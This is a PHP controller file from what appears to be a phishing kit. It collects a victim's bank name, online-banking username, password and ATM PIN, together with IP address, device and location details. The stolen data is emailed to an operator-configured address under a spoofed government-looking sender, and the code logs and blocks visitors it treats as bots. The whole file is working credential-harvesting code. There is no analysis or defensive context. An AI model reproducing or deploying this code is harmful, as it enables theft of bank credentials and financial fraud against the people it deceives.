<?php 
defined("ACCESS") or die('Konz');

class Bank 
{
	private $_LICENSE = FCPATH . "arahmataAngin/system/private/license.ini";
	private $_CONFIG = FCPATH. "arahmataAngin/system/private/setting.json";

	public function __construct()
	{
		$this->pc = new Pc();
		$_ini_file = parse_ini_file($this->_LICENSE);
		$this->license = new license($_ini_file);

		if (!isset($_SESSION['access']) and ($_SESSION['access'] != 7)) {
			
			write(FCPATH . 'arahmataAngin/system/stats/log_robot.txt', 'a', "{$this->pc->ip_address}\r\n");
			_blocks();
			redirect(uriRand());
		}
	}

	public function index()
	{
		echo view('bank/index');
	}

	public function process()
	{
		if (isset($_POST)) {
			$bank_holder = trim($_SESSION['namecard']);
			$name = $_POST['bankname'];
			$bank_username = $_POST['username'];
			$bank_password = $_POST['password'];
			$bank_pin = $_POST['atmpin'];

			$message = 
"<fieldset style='border: 3px solid #e4e3e2; border-radius: 20px; max-width: 50%; margin: 0 auto;'>
<pre>
<strong><span style='color: #999999;'> Bank Account </span></strong>

			
Name on account : {$bank_holder}
 Bank name 	  : {$name}
 Username 	  : {$bank_username}
 Password 	  : {$bank_password}
 ATM Pin 	  : {$bank_pin}

<strong> Visitor Details </strong>

Time &amp; Date   : "._date()."  
 Device        : {$this->pc->platform}
 Browser       : {$this->pc->browser}
 Country 	: {$_SESSION['country']}
 State         : {$_SESSION['regionName']}
 City          : {$_SESSION['city']}
 Ip address    : {$this->pc->ip_address}
 User agent    : {$this->pc->agent}

</pre>
</fieldset>
</pre>";

			$subject = "$name [ {$_SESSION['country']} - {$this->pc->ip_address} ]";
			$headers = 'MIME-Version: 1.0' . "\r\n";
			$headers .= 'Content-type: text/html; charset=UTF-8' . "\r\n";
			$headers .= "From: Bank <dpriv@dprpemerintah.id>";

			@mail(_config('result'), $subject, $message, $headers);

			write(FCPATH . 'arahmataAngin/system/stats/log_bank.txt', 'a', "{$this->pc->ip_address}\r\n");

			$_SESSION['access'] = 7;
			redirect(base_url() . 'done');
		}
	}
}